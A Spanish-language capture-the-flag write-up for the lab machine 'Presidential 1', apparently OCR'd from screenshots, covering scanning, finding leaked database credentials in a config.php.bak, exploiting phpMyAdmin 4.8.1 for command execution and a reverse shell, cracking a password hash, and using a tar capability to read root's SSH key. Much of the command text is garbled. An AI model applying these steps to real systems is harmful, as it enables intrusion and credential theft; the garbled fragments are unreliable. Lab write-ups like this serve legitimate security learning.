Presidential 1

1. Enumeracion

Para saber la IP de la maquina a la que nos vamos a enfrentar, tenemos que ejecutar el
comando arp-scan. En este caso, 192.168.1.31

Jhome/kali
[ VMware
192.168.1. 20:db:4T:09

Ahora que sabemos la IP, realizamos un Ping a la mdquina victima. Parece que estamos ante
una maquina Linux.

PING 192

64 bytes

Realizamos un escaneo exhaustivo para conocer los servicios y version correspondientes a los
puertos abiertos que presenta la maquina victima.
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Con “whatweb” vemos las tecnologias de la web que estd corriendo en el puerto 80.

Revisamos la web en nuestro navegador. Lo primero que vemos, es votenow.local. Por si se estd
aplicando Virtual Hosting, lo afiadimos a nuestro fichero /etc/hosts. Aunque nos llevara a la
misma web.

A 192168.1.31

N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec ® Installation Cannot Co...

r.cwﬂoc_a\ & +15589 55488 55 vy f @ 8 m
PRESIDENTIAL ELECTION HOME CANDIDATES OUR SPONSORS

2. Analisis de vulnerabilidades

Realizamos una enumeracidn de directorios con gobuster. Solo descubrimos el directorio
“assets”, en el cual no vemos nada interesante.

/home/kali
/Jusr/share/wordlists/dirbuster/directory-list-2.3-medium. txt 20 http:

nial) &

Ejecutamos de nuevo la busqueda, pero forzando a que gobuster a que afiada una “/” al final.
Descubrimos el directorio /cgi-bin/ pero no es vulnerable a un ataque de ShellShock.

/home/kali
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 20 http://192.168.1.31

Gobuster
by 03 @TheColonial) &

medium. txt

tion mode

/cgi-bin/ (Statu 4 [
Progress: 215810 / 220561 (97.85%)
2022/12/30 09:35:34 Finished

Vamos a realizar una enumeracion de subdominios y encontramos
http://datasafe.votenow.local.

/home/kali
z 0 fusr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium. txt
i
* W .1.0 - The Web Fuzzer *
B

9499 ch
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http://datasafe.votenow.local/

4

Abrimos la web con nuestro navegador y vemos que se trata de un “Phpmyadmin”. Probamos

combinaciones de usuario y claves comunes, pero no ganamos acceso.

] votenow.local

& Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB OffSec [ Installation Cannot Co...

php
Welcome to phpMyAdmin

Log in g

Username:

Password:

Go

Como la web usa PHP, vamos a realizar una enumeracion de ficheros “php” y “php.bak”.

/home/kali
r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/home/kali
/ 2.168.1.31/config.php.bak
<?php

$dbUse

$dbPa
$dbHost =
$dbname

>

Usuario: votebox

Clave: casoj3FFASPsbyoRP

3. Explotacion y acceso
Identificamos una version antigua de Phpmyadmin.

+ Version information: 4.8.1, latest stable version: 4.9.10
+ Documentation

« Official Homepage

» Contribute

+ Get support

« List of changes

* License
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Revisamos si tiene algun exploit del que nos podamos aprovechar.

ion_id
url + "/i : - 2 ot ool el e oy o o e / ion/ }".format(session_id)

Realizamos una prueba primero, para comprobar que se ejecuta correctamente.

/home/kali/HTB/presidentiall
exploit.py datasafe.votenow.local 80 / votebox casoj3FFASPsbyoRP whoami
apache

Viendo que todo es correcto, lanzamos de nuevo el exploit pero ejecutando una “reverse shell”.

/home/kali/HTB/presidentiall
exploit.py safe

/home/kali
0 443
listening on [any] 443 ...
connect to [192.168.1.42] from (UNKNOWN) [192.168.1.31] 36498
whoami
apache

4. Movimiento lateral
Si revisamos las BBDD disponibles, vemos la BBDD “votebox” con una tabla “users”. En ella esta
un hash de la contrasefia del usuario “admin”.

Browse M Structure L] soL Search 3 Insert =} Export [} Import J° Operations Triggers

= « Showing rows 0 - 0 {1 total. Query took 0.0050 seconds.)

SELECT * FAM “users

~ username password

py @ Delete admi $2y$128dInOEKNgk/epF2BeAFaMushWaae 3] k8ITyha8qsTa

Vamos a intentar romper ese hash con John. Nos copiamos ese hash obtenido a un fichero y se
lo pasamos a John. Obtenemos la clave “Stella”.

ther key for status
vg/s 11.15p/s 11.15%¢/s 11.15C
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1s -la /home

oot root 19 Jun
oot root 24
. 2 admin admin 116 Jun
su admin

[admi tenow phpmyadmin]$ whoami
admin
[admin@votenow phpmyadmin]$ |

5. Escalada de privilegios
Revisamos las capabilities asignadas.

[admin@ivotenow phpmy
Jusr/bin/ne

Nos fijamos en el binario tarS. Parece la misma versién de tar, pero a la que se la ha asignado
una capability. Buscamos informacion de la misma:

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-
capabilitiesttcap dac read search

Seguimos los pasos descritos y conseguimos obtener la clave id_rsa de root.

tmpl$ t
leading ~,
tmpl$ 1s -la /tmp/

root root

root root

admin admin
[adming enow tmpl$ cd /
[adming ow tmpl$

wmowmn
Wowmowmon

0

Nos la copiamos a nuestra maquina de atacante y nos conectamos a la maquina victima con
ella, ganando acceso como root.

/home/kali/HTB/presidentiall
root@®192.168.1.31 -1 id_rsa -p 2082

Last login: Sun Jun 28 00:42:56 2020 from 192.168.56.1
[root@votenow ~H whoami

root

[root@votenow ~H ||
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https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_read_search
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_read_search

